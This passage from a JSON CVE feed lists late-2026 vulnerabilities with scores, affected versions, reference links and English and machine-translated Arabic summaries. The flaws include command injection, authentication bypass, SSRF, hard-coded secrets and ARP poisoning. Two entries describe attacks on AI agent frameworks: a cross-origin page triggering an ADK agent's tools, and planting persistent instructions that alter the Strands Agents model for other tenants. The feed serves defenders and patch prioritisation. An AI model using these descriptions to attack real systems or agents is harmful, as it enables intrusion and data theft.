adk.web.cors.origins في الإصدارات من 1.6.0 إلى 1.12.0)، ومنذ الإصدار 0.4.0 تُرجع واجهة برمجة تطبيقات REST القيمة Access-Control-Allow-Origin: * افتراضيًا. ونظرًا لعدم احتواء الخادم على نظام مصادقة وصدور الطلبات من متصفح المطور (لذا فإن الربط بـ localhost لا يمنع الاستغلال)، تستطيع صفحة عابرة للنطاقات إرسال رسائل إلى الوكيل (مما يؤدي إلى تفعيل الأدوات المسجلة)، وبث استجابات الوكيل، بالإضافة إلى سرد الجلسات والعناصر أو قراءتها أو إنشائها أو حذفها. في الإصدارات من 1.6.0 إلى 1.12.0، يمكن للمستخدمين تنفيذ إجراءات التخفيف عبر ضبط خاصية adk.web.cors.origins لتشمل قائمة سماح صريحة للنطاقات الموثوقة (مثل http://localhost:8000). تم إصلاح الثغرة في الإصدار 1.13.0، والذي يفرض ضبطًا افتراضيًا لنفس الأصل (same-origin) لكل من سياسة CORS ونقطة نهاية WebSocket في /run_live، كما يرفض طلبات إعادة ربط نظام أسماء النطاقات (DNS-rebinding) عبر حلقة الاسترجاع (loopback)."},"refs":[["https://github.com/google/adk-java/commit/5667d382ab5078a0d6e8f7184713a6bab767e004","patch"],["https://github.com/google/adk-java/commit/1ae5078072e13e101318e32833f1db323ef084e1","patch"],["https://github.com/google/adk-java/pull/1222","patch"],["https://github.com/google/adk-java/commit/c2b087cbaf44f44d20dc946d8f2391506a2fce3d","patch"],["https://github.com/google/adk-java/issues/1257","ref"],["https://github.com/google/adk-java/releases/tag/v1.13.0","ref"],["https://github.com/google/adk-java/releases/tag/v1.6.0","ref"]],"epss":0.0036,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-agent-development-kit-adk-for-java"},{"id":"CVE-2026-19678","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-918","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-23T01:23:08Z","product":"onPhase onPhase Forms","affected":[["11.0.14",null]],"title":{"en":"Server-Side Request Forgery (SSRF) Leading to Internal Solr Data Disclosure","ar":"تزوير الطلبات من جانب الخادم (SSRF) يؤدي إلى كشف بيانات Apache Solr الداخلية"},"summary":{"en":"A server-side request forgery (SSRF) vulnerability in the unauthenticated form service in version 11.0.14 in onPhase Forms allows an unauthenticated remote attacker to access sensitive internal Apache Solr data via an attacker-controlled URL supplied to a publicly accessible form.","ar":"تتيح ثغرة تزوير الطلبات من جانب الخادم (SSRF) في خدمة النماذج التي لا تتطلب مصادقة ضمن الإصدار 11.0.14 من onPhase Forms لمهاجم عن بُعد دون مصادقة الوصول إلى بيانات Apache Solr الداخلية الحساسة عبر عنوان URL يتحكم فيه المهاجم يتم إدخاله في نموذج متاح للعامة."},"refs":[["https://frevvo-docs.atlassian.net/wiki/spaces/frevvo110/pages/1069273270/Detailed+Release+Notes","ref"],["https://frevvo-docs.atlassian.net/wiki/spaces/frevvo110/overview?homepageId=1069252609","ref"]],"epss":0.0039,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"onphase-forms"},{"id":"CVE-2026-19677","cvss":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-306","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-23T01:21:08Z","product":"onPhase onPhase Forms","affected":[["11.0.14",null]],"title":{"en":"Authentication Bypass Leading to Server-Side Command Execution","ar":"تجاوز المصادقة يؤدي إلى تنفيذ أوامر من جانب الخادم"},"summary":{"en":"An authentication bypass vulnerability in the public onPhase/ frevvo registration form version 11.0.14 allows an unauthenticated remote attacker to authenticate as an arbitrary tenant user, obtain TenantAdmin and Designer privileges, and execute arbitrary operating system commands via manipulation of registration parameters containing a valid tenant name and existing user identifier.","ar":"تتيح ثغرة تجاوز المصادقة في نموذج تسجيل onPhase/ frevvo العام للإصدار 11.0.14 لمهاجم عن بُعد دون مصادقة تسجيل الدخول بانتحال صفة أي مستخدم مستأجر عشوائي، والحصول على صلاحيات TenantAdmin وDesigner، وتنفيذ أوامر نظام تشغيل عشوائية عبر التلاعب بمعلمات التسجيل التي تحتوي على اسم مستأجر صالح ومعرف مستخدم موجود."},"refs":[["https://frevvo-docs.atlassian.net/wiki/spaces/frevvo110/pages/1069273270/Detailed+Release+Notes","ref"],["https://frevvo-docs.atlassian.net/wiki/spaces/frevvo110/overview?homepageId=1069252609","ref"]],"epss":0.0053,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"onphase-forms"},{"id":"CVE-2026-115486","cvss":7.1,"vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L","cwe":"CWE-125","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-23T01:16:53Z","product":"Red Hat Red Hat Enterprise Linux 10","affected":[],"title":{"en":"Open-iscsi: open-iscsi: ipv6 neighbor discovery missing option length validation in iscsiuio allows arp table poisoning","ar":"Open-iscsi: open-iscsi: اكتشاف جيران IPv6 يفتقر إلى التحقق من طول الخيار في iscsiuio مما يسمح بتسميم جدول ARP"},"summary":{"en":"A flaw was found in the iscsiuio component of open-iscsi. The IPv6 Neighbor Discovery handler accesses link-layer address options at a fixed offset without verifying the packet contains them. Additionally, the ARP table is updated unconditionally with attacker-controlled addresses from the packet headers. An attacker on the same network segment can send a minimal Neighbor Advertisement to poison the ARP table and redirect network traffic.","ar":"تم اكتشاف ثغرة في مكون iscsiuio الخاص بـ open-iscsi. يتعامل معالج اكتشاف جيران IPv6 (IPv6 Neighbor Discovery) مع خيارات عنوان طبقة الربط عند إزاحة ثابتة دون التحقق من احتواء الحزمة عليها. بالإضافة إلى ذلك، يتم تحديث جدول ARP بشكل غير مشروط بعناوين يتحكم فيها المهاجم من ترويسات الحزم. يمكن لمهاجم على نفس قطاع الشبكة إرسال إعلان جيران (Neighbor Advertisement) مصغر لتسميم جدول ARP وتوجيه حركة مرور الشبكة."},"refs":[["https://access.redhat.com/security/cve/CVE-2026-115486","ref"],["https://bugzilla.redhat.com/show_bug.cgi?id=2556267","ref"]],"epss":0.0021,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"red-hat-enterprise-linux"},{"id":"CVE-2026-114625","cvss":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-89","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-10-23T00:00:00Z","product":"Arista VeloCloud Orchestrator","affected":[["5.2.0 – <5.2.3.18","5.2.3.18"],["6.1.0 – <6.1.3.10","6.1.3.10"],["6.4.0 – <6.4.2.12","6.4.2.12"]],"title":{"en":"Arista VeloCloud Orchestrator SQL Injection Vulnerability","ar":"ثغرة حقن SQL في منتج Arista VeloCloud Orchestrator"},"summary":{"en":"Arista VeloCloud Orchestrator on-prem contains a SQL injection vulnerability that may allow a remote attacker to access privileged internal functionality and impact the VCO host. Successful exploitation may compromise the confidentiality, integrity, and availability of the orchestrator and data managed by the orchestrator.","ar":"يحتوي منتج Arista VeloCloud Orchestrator المحلي على ثغرة حقن SQL قد تسمح لمهاجم عن بُعد بالوصول إلى وظائف داخلية ذات صلاحيات مرتفعة والتأثير على مضيف VCO. قد يؤدي الاستغلال الناجح إلى الإضرار بسرية البيانات وسلامتها وتوافرها في المُنسِّق والبيانات المُدارة بواسطته."},"refs":[["https://www.arista.com/en/support/advisories-notices/security-advisory/24838-security-advisory-0199","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-114625","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-114625","ref"]],"epss":0.0103,"kevAdded":"2026-10-23T00:00:00Z","kevDue":"2026-10-26T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات وكالة CISA المعنونة بـ BOD 26-04 بشأن تحديد أولويات تحديثات الأمان استنادًا إلى المخاطر ومتطلبات فرز الأدلة الجنائية الخاصة بـ CISA. اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"arista-velocloud-orchestrator"},{"id":"CVE-2026-110447","cvss":9.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":true,"status":"patched","published":"2026-10-23T00:00:00Z","product":"Collabora Collabora Online – Built-in CODE Server","affected":[["0 – <26.4.303","26.4.303"]],"title":{"en":"Collabora Online – Built-in CODE Server OS Command Injection Vulnerability","ar":"ثغرة حقن أوامر نظام التشغيل في Collabora Online – Built-in CODE Server"},"summary":{"en":"Collabora Collabora Online – Built-in CODE Server when used within the NextCloud platform contains an OS command injection vulnerability that allows for remote code execution when the CODE server isn't running.","ar":"يحتوي منتج Collabora Collabora Online – Built-in CODE Server عند استخدامه ضمن منصة NextCloud على ثغرة حقن أوامر نظام التشغيل والتي تتيح تنفيذ أوامر عن بُعد عندما لا يكون خادم CODE قيد التشغيل."},"refs":[["https://help.nextcloud.com/t/to-collabora-built-in-user-update-asap/250516","advisory"],["https://github.com/CollaboraOnline/online/security/advisories/GHSA-g3vx-3m76-fghh","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-110447","advisory"],["https://github.com/CollaboraOnline/richdocumentscode/issues/354","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-110447","ref"]],"epss":0.7331,"kevAdded":"2026-10-23T00:00:00Z","kevDue":"2026-10-26T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"قم بتطبيق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات توجيه التشغيل الملزم CISA BOD 26-04 لتحديد أولويات تحديثات الأمان بناءً على المخاطر (راجع الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية الصادرة عن وكالة CISA (راجع الرابط في الملاحظات). اتبع إرشادات BOD 26-04 المطبقة على خدمات السحابة أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. يتحمل أصحاب المصلحة مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات التثحيح الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"collabora-online"},{"id":"CVE-2026-114616","cvss":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-287","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-22T22:18:04Z","product":"Authlib Authlib","affected":[[" – <1.9.1","1.9.1"]],"title":{"en":"Authlib is a Python library which builds OAuth and OpenID Connect servers.","ar":"Authlib هي مكتبة لغة Python تبني خوادم OAuth و OpenID Connect."},"summary":{"en":"Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.9.1, Authlib's OctKey.import_key() and HMAC signing and verification path accept zero-length key material. If an application's secret lookup can return an empty string or empty bytes, a remote attacker can compute the deterministic HS256, HS384, or HS512 signature for arbitrary token claims and have Authlib treat the token as authentic. This issue is fixed in version 1.9.1.","ar":"Authlib هي مكتبة لغة Python تبني خوادم OAuth و OpenID Connect. قبل الإصدار 1.9.1، تقبل مسارات OctKey.import_key() وتوقيع و التحقق عبر HMAC في Authlib مواد مفتاحية بطول صفري. إذا كان بحث التطبيق عن السر يمكن أن يعيد سلسلة نصية فارغة أو بايتات فارغة، يمكن لمهاجم عن بُعد حساب توقيع HS256 أو HS384 أو HS512 الحتمي لمطالبات الرموز المميزة العشوائية وجعل Authlib تعامل الرمز المميز على أنه أصلي. تم إصلاح هذه المشكلة في الإصدار 1.9.1."},"refs":[["https://github.com/authlib/authlib/commit/4ff30db442c70e29486e1982cb0ad37c037f5f4b","patch"],["https://github.com/authlib/authlib/security/advisories/GHSA-8m4g-j4wp-wgcg","advisory"],["https://github.com/authlib/authlib/releases/tag/v1.9.1","ref"]],"epss":0.003,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"authlib"},{"id":"CVE-2026-92450","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-798","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-22T22:09:58Z","product":"Kiloview E3 Firmware","affected":[["0 – <1.30","1.30"]],"title":{"en":"Kiloview E3 NDI Encoder Use of Hard-coded Credentials","ar":"ثغرة استخدام بيانات اعتماد مدمجة في مشفر Kiloview E3 NDI"},"summary":{"en":"The authentication framework used by affected Kiloview E3 NDI encoder firmware signs session JSON Web Tokens using an HMAC-SHA256 secret hardcoded as a static string within the firmware image, identical across all deployed devices. An attacker with access to the publicly distributed firmware can recover this secret and forge arbitrary session tokens, including administrative tokens, without valid credentials, enabling unauthenticated access to privileged device functions.","ar":"إطار عمل المصادقة المستخدم في البرامج الثابتة المتأثرة لمشفر Kiloview E3 NDI يوقع رموز جلسات JSON Web Tokens باستخدام سر HMAC-SHA256 مدمج كسلسلة ثابتة داخل صورة البرنامج الثابت، وهو متطابق عبر جميع الأجهزة المنشورة. يمكن للمهاجم الذي يمتلك إمكانية الوصول إلى البرنامج الثابت الموزع علنًا استعادة هذا السر وتزوير رموز جلسات عشوائية، بما في ذلك رموز المسؤولين، دون بيانات اعتماد صالحة، مما يتيح الوصول دون مصادقة إلى وظائف الجهاز ذات الصلاحيات."},"refs":[["https://www.kiloview.com/en/download/e3-firmware-downloadlatest-12/","ref"],["https://www.cisa.gov/news-events/ics-advisories/icsa-26-295-01","ref"],["https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-295-01.json","ref"]],"epss":0.0038,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"kiloview-e3-firmware"},{"id":"CVE-2026-111594","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-319","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-22T21:39:47Z","product":"InterSystems IRIS for Health","affected":[["2026.2.0.221",null],["2026.1.0.235",null],["2025.3.0.226",null]],"title":{"en":"InterSystems Corporation InterSystems IRIS for Health Cleartext Transmission of Sensitive Information","ar":"ثغرة نقل المعلومات الحساسة بنص واضح في InterSystems Corporation InterSystems IRIS for Health"},"summary":{"en":"InterSystems IRIS for Health has TLS/SSL encryption turned off by default, which may enable an attacker to view transmitted data and use that data to log into the device.","ar":"تكون تشفير TLS/SSL معطلاً بشكل افتراضي في InterSystems IRIS for Health، مما قد يتيح للمهاجم عرض البيانات المنقولة واستخدام تلك البيانات لتسجيل الدخول إلى الجهاز."},"refs":[["https://docs.intersystems.com/irislatest/csp/docbook/DocBook.UI.Page.cls?KEY=ROARS_gsecuring_checklist","ref"],["https://docs.intersystems.com/irislatest/csp/docbook/DocBook.UI.Page.cls?KEY=GSA_manage_superserver","ref"],["https://wrc.intersystems.com","ref"],["https://www.cisa.gov/news-events/ics-medical-advisories/icsma-26-295-01","ref"],["https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsma-26-295-01.json","ref"]],"epss":0.0019,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"intersystems-iris-for-health"},{"id":"CVE-2026-115419","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-488","tags":["Cloud"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-22T21:17:17Z","product":"AWS strands-agents","affected":[["0 – <1.43.0","1.43.0"],["0 – <1.5.0","1.5.0"]],"title":{"en":"Unintended disclosure of data element to wrong session in Strands Agents SDK A2A Server","ar":"الكشف غير المقصود عن عنصر بيانات لجلسة خاطئة في Strands Agents SDK A2A Server"},"summary":{"en":"The A2A server component in Amazon Strands Agents SDK for Python before 1.43.0 and Amazon Strands Agents SDK for TypeScript before 1.5.0 does not properly isolate conversation state between callers. An authenticated remote user could read other tenants' conversation history and add persistent instructions that alter model behavior for subsequent callers via HTTP requests to the A2A endpoint using a different context_id. To mitigate this issue, users should upgrade to strands-agents 1.43.0 (Python) or @strands-agents/sdk 1.5.0 (TypeScript).","ar":"لا يقوم مكون خادم A2A في Amazon Strands Agents SDK لـ Python قبل الإصدار 1.43.0 و Amazon Strands Agents SDK لـ TypeScript قبل الإصدار 1.5.0 عزل حالة المحادثة بشكل صحيح بين المتصلين. يمكن لمستخدم عن بُعد مصادق عليه قراءة سجل محادثات المستأجرين الآخرين وإضافة تعليمات دائمية تغير سلوك النموذج للمتصلين اللاحقين عبر طلبات HTTP إلى نقطة نهاية A2A باستخدام context_id مختلف. للتخفيف من هذه المشكلة، قم ترقية الحزمة إلى strands-agents 1.43.0 لـ Python أو @strands-agents/sdk 1.5.0 لـ TypeScript."},"refs":[["https://pypi.org/project/strands-agents/1.43.0/","patch"],["https://www.npmjs.com/package/@strands-agents/sdk/v/1.5.0","patch"],["https://aws.amazon.com/security/security-bulletins/2026-146-aws/","advisory"],["https://github.com/strands-agents/harness-sdk/security/advisories/GHSA-4v6f-7vjh-6x4m","advisory"]],"epss":0.0043,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"aws-strands-agents"},{"id":"CVE-2026-115506","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-776","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-22T20:17:06Z","product":"Libexpat Project Libexpat","affected":[[" – 2.9.0",null],["0 – 2.9.0",null]],"title":{"en":"libexpat through 2.9.0 Denial of Service via Billion Laughs Detection Delay","ar":"مكتبة libexpat حتى الإصدار 2.9.0 عرضة لحجب الخدمة عبر تأخير اكتشاف هجوم Billion Laughs"},"summary":{"en":"libexpat through 2.9.0 contains a denial of service vulnerability because billion laughs protection in accountingDiffTolerated() in xmlparse.c detects entity amplification too late. Attackers can supply a moderately sized XML document with a large DTD and nested entity expansions to consume tens of seconds of CPU per parse.","ar":"تحتوي مكتبة libexpat حتى الإصدار 2.9.0 على ثغرة حجب الخدمة لأن حماية مليار ضحكة في الدالة accountingDiffTolerated() داخل الملف xmlparse.c تكتشف تضخيم الكيان متأخرًا للغاية. يمكن للمهاجمين توفير مستند XML متوسط الحجم مع تعريف نوع مستند DTD كبير وتوسيعات كيانات متداخلة لاستهلاك عشرات الثواني من وحدة المعالجة المركزية لكل عملية تحليل."},"refs":[["https://github.com/hannob/lololol","patch"],["https://github.com/libexpat/libexpat/pull/1433","patch"],["https://www.vulncheck.com/advisories/libexpat-through-2.9.0-denial-of-service-via-billion-laughs-detection-delay","patch"],["https://github.com/libexpat/libexpat/issues/1160","advisory"],["https://github.com/libexpat/libexpat","ref"]],"epss":0.0045,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"libexpat-project-libexpat"},{"id":"CVE-2026-79885","cvss":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H","cwe":"CWE-287","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-22T19:18:01Z","product":"Hewlett Packard Enterprise (HPE) ArubaOS (AOS)","affected":[["8.13.0.0 – 8.13.3.0",null],["8.10.0.0 – 8.10.0.23",null]],"title":{"en":"Unauthenticated File Write Vulnerability leads to Denial-of-Service in AOS-8","ar":"ثغرة كتابة ملفات دون مصادقة تؤدي إلى حجب الخدمة في AOS-8"},"summary":{"en":"An unauthenticated file write vulnerability exists in the PAPI protocol in AOS-8. Successful exploitation could allow an unauthenticated remote attacker to make limited modifications to files on the affected system and to disrupt the availability of the affected service.","ar":"توجد ثغرة كتابة ملفات دون مصادقة في بروتوكول PAPI ضمن AOS-8. قد يتيح الاستغلال الناجح لمهاجم عن بُعد دون مصادقة إجراء تعديلات محدودة على الملفات في النظام المتأثر وتعطيل توفر الخدمة المتأثرة."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05162en_us&docLocale=en_US","ref"]],"epss":0.0036,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-arubaos"},{"id":"CVE-2026-79886","cvss":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H","cwe":"CWE-119","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-22T19:18:01Z","product":"Hewlett Packard Enterprise (HPE) ArubaOS (AOS)","affected":[["8.13.0.0 – 8.13.3.0",null],["8.10.0.0 – 8.10.0.23",null]],"title":{"en":"Unauthenticated Buffer Overflow Vulnerability leads to Denial-of-Service in AOS-8","ar":"ثغرة فيضان المخزن المؤقت دون مصادقة تؤدي إلى حجب الخدمة في AOS-8"},"summary":{"en":"An unauthenticated buffer overflow vulnerability exists in the PAPI protocol of AOS-8. Successful exploitation could allow an unauthenticated remote attacker to disrupt the availability of the affected service on the controller, with a limited impact to its integrity.","ar":"توجد ثغرة فيضان المخزن المؤقت دون مصادقة في بروتوكول PAPI ضمن AOS-8. قد يتيح الاستغلال الناجح لمهاجم عن بُعد دون مصادقة تعطيل توفر الخدمة المتأثرة على وحدة التحكم، مع تأثير محدود على سلامتها."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05162en_us&docLocale=en_US","ref"]],"epss":0.0037,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-arubaos"},{"id":"CVE-2026-79876","cvss":9.3,"vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:H","cwe":"CWE-200","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-22T19:18:00Z","product":"Hewlett Packard Enterprise (HPE) ArubaOS (AOS)","affected":[["10.8.0.0 – 10.8.1.1",null],["10.7.0.0 – 10.7.2.6",null],["10.4.0.0 – 10.4.1.13",null]],"title":{"en":"Unauthenticated Adjacent Sensitive Information Disclosure in AOS-10 Wi-Fi Frame Processing","ar":"الكشف عن معلومات حساسة متجاورة دون مصادقة في معالجة إطارات Wi-Fi في AOS-10"},"summary":{"en":"A sensitive information disclosure vulnerability in the Wi-Fi frame processing of AOS-10 could allow an unauthenticated adjacent attacker to access sensitive information. Successful exploitation could allow an attacker to retrieve information which could be used to potentially gain further access to network services supported by AOS-10, or to interrupt the normal operation of the affected service.","ar":"قد تسمح ثغرة الكشف عن معلومات حساسة في معالجة إطارات Wi-Fi في نظام AOS-10 لمهاجم متجاور دون مصادقة بالوصول إلى معلومات حساسة. قد يتيح الاستغلال الناجح للمهاجم استرجاع معلومات يمكن استخدامها للحصول على وصول إضافي محتمل إلى خدمات الشبكة التي تدعمها AOS-10، أو مقاطعة التشغيل العادي للخدمة المتأثرة."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05162en_us&docLocale=en_US","ref"]],"epss":0.0023,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-arubaos"},{"id":"CVE-2026-79877","cvss":8.8,"vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-94","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-22T19:18:00Z","product":"Hewlett Packard Enterprise (HPE) ArubaOS (AOS)","affected":[["10.8.0.0 – 10.8.1.1",null],["10.7.0.0 – 10.7.2.6",null],["10.4.0.0 – 10.4.1.13",null]],"title":{"en":"Unauthenticated Adjacent Remote Code Execution Vulnerability in AOS-10","ar":"ثغرة تنفيذ أوامر عن بُعد متجاورة دون مصادقة في AOS-10"},"summary":{"en":"A remote code execution vulnerability in the underlying operating system of AOS-10 could allow an unauthenticated adjacent attacker to execute arbitrary code on an affected device. Successful exploitation could allow an attacker to execute arbitrary commands as a privileged user on the underlying operating system leading to complete system compromise.","ar":"قد تسمح ثغرة تنفيذ أوامر عن بُعد في نظام التشغيل الأساسي لـ AOS-10 لمهاجم متجاور دون مصادقة بتنفيذ شيفرة عشوائية على جهاز متأثر. قد يتيح الاستغلال الناجح للمهاجم تنفيذ أوامر عشوائية كمستخدم مميز على نظام التشغيل الأساسي مما يؤدي إلى اختراق كامل للنظام."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05162en_us&docLocale=en_US","ref"]],"epss":0.0044,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-arubaos"},{"id":"CVE-2026-79878","cvss":8.8,"vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-77","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-22T19:18:00Z","product":"Hewlett Packard Enterprise (HPE) ArubaOS (AOS)","affected":[["8.13.0.0 – 8.13.3.0",null],["8.10.0.0 – 8.10.0.23",null]],"title":{"en":"Unauthenticated Adjacent Command Injection Vulnerability in the AOS-8 Command Line Interface Accessed by the PAPI Protocol","ar":"ثغرة حقن أوامر متجاورة دون مصادقة في واجهة سطر أوامر AOS-8 التي يتم الوصول إليها بواسطة بروتوكول PAPI"},"summary":{"en":"A command injection vulnerability in the AOS-8 command line interface accessed by the PAPI protocol could lead to unauthenticated remote code execution by an adjacent attacker sending specially crafted PAPI packets destined to the PAPI UDP port 8211. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system.","ar":"قد تؤدي ثغرة حقن أوامر في واجهة سطر أوامر AOS-8 التي يتم الوصول إليها بواسطة بروتوكول PAPI إلى تنفيذ أوامر عن بُعد دون مصادقة بواسطة مهاجم متجاور يرسل حزم PAPI مصممة خصيصًا وموجهة إلى منفذ PAPI UDP رقم 8211. قد يتيح الاستغلال الناجح للمهاجم تنفيذ شيفرة عشوائية كمستخدم مميز على نظام التشغيل الأساسي."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05162en_us&docLocale=en_US","ref"]],"epss":0.0097,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-arubaos"},{"id":"CVE-2026-79879","cvss":8.8,"vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-119","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-22T19:18:00Z","product":"Hewlett Packard Enterprise (HPE) ArubaOS (AOS)","affected":[["10.8.0.0 – 10.8.1.1",null],["10.7.0.0 – 10.7.2.6",null],["10.4.0.0 – 10.4.1.13",null]],"title":{"en":"Unauthenticated Adjacent Memory Corruption Vulnerabilities lead to Remote Code Execution in AOS-10","ar":"ثغرات تلف الذاكرة المتجاورة دون مصادقة تؤدي إلى تنفيذ أوامر عن بُعد في AOS-10"},"summary":{"en":"Memory corruption vulnerabilities in the affected interface of AOS-10 could lead to remote code execution by an unauthenticated adjacent attacker. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system.","ar":"قد تؤدي ثغرات تلف الذاكرة في الواجهة المتأثرة لـ AOS-10 إلى تنفيذ أوامر عن بُعد بواسطة مهاجم متجاور دون مصادقة. قد يتيح الاستغلال الناجح للمهاجم تنفيذ شيفرة عشوائية كمستخدم مميز على نظام التشغيل 